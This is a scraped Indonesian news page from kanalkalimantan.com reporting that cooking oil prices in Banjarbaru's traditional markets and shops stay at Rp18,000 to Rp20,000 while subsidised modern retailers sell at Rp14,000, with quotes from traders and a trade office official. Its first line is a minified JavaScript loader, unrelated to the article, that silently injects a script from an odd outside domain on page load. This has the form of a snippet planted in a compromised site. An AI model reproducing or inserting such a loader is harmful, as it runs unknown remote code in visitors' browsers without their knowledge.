(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Turunnya harga minyak goreng di ritel modern ternyata tidak diikuti oleh pasar tradisional maupun toko sembako di Banjarbaru.
Pemilik Toko Barokah di Jalan Bina Satria, Atinem menerangkan di tokonya masih menjual minyak goreng kemasan masih harga yang lama.
“Untuk sekarang menghabiskan stok dulu tersisa sedikit lagi, dijual dengan harga modal 18 ribu,” ungkapnya.
Dirinya menerangkan harga di tokonya selisihnya cukup tinggi ketimbang harga di ritel modern, sehingga terpaksa menjual dengan harga modal.
Ditambahkannya, biasanya agen yang mengantarkan stok minyak ke toko sekali antar hampir 30 dus. Namun pada saat ini hanya 5 dus.
“Andai masih 30 dus kayak biasanya, kita tepuk jidat,” ungkapnya
Senada dengan Atinem, Hamdah salah seorang pedagang di Pasar Bauntung menerangkan di pasar sendiri harga minyak goreng kemasan masih terbilang mahal.
Dirinya menyebutkan, harga minyak goreng di pasar berkisar antara Rp19-Rp20 ribu per liternya, sedangkan untuk kemasan 2 liter antara Rp40- Rp42 ribu tergantung merk kemasan.
“Kita stop dulu, yang ada masih banyak tidak terjual,” ujarnya.
Lebih parahnya lagi, diungkapkan Hamdah informasi dirinya dapatkan dari agen harga akan naik lagi, karena agen tidak disubsidi pemerintah.
Baca juga: Operasi Pasar Minyak Goreng Murah di Banjarbaru, Novi Tak Sempat Kebagian
“Dari agen katanya harga minyak goreng kemasan akan naik terus,” tambahnya
Dari agen Hamdah membeli per 1 liter 18 ribu, sementara yang Rp38 ribu, beda merek beda juga harga.
Sistem di pasar sendiri sebutnya, jika harga naik kemudian turun, maka barang akan dijual sesuai harga rata tengahnya sehingga masih bisa bersaing dengan ritel modern.
Namun, yang membuat bingung Hamdah untuk harga minyak goreng dalam kemasan yang ia dapat melalui agen katanya memang naik terus.
Dirinya mengharapkan ada langkah jelas dari pemerintah untuk pedagang pasar tradisional seperti dirinya.
“Semoga pemerintah memperhatikan pedagang pasar seperti kami, sehingga harga bisa sama,” harapnya.
Sementara itu, Kepala Bidang Perdagangan Dinas Perdagangan (Disdag) Kota Banjarbaru, Anshori, tidak menampik kalau hanya ritel modern yang baru mendapat subsidi dari pemerintah.
Baca juga: Kesultanan Kutai Angkat Suara, Kirim Jin Jika Edy Mulyadi Tak Minta Maaf
“Semua ritel modern sudah bersubsidi, ada 86 ritel modern yang menjual minyak goreng harga Rp14 ribu,” terangnya.
Diakuinya masih banyak pasar tradisional maupun toko sembako masih menggunakan harga lawas. Dirinya hanya berharap satu atau dua minggu ke depan retail atau pasar tradisional bisa menyesuaikan harga sesuai ketentuan pemerintah.
Ditambahkannya, operasi pasar yang digelar pagi tadi di halaman Disdag Banjarbaru juga bertujuan untuk mensosialisasi harga minyak goreng sudah mulai terjangkau.
“Nantinya subsidi minyak goreng ini akan turun ke kios-kios dan pasar tradisional secara berangsur-angsur,” tandasnya.(kanalkalimantan.com/ibnu)
Reporter: ibnu
Editor: cell
KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More
KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More
KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More
This website uses cookies.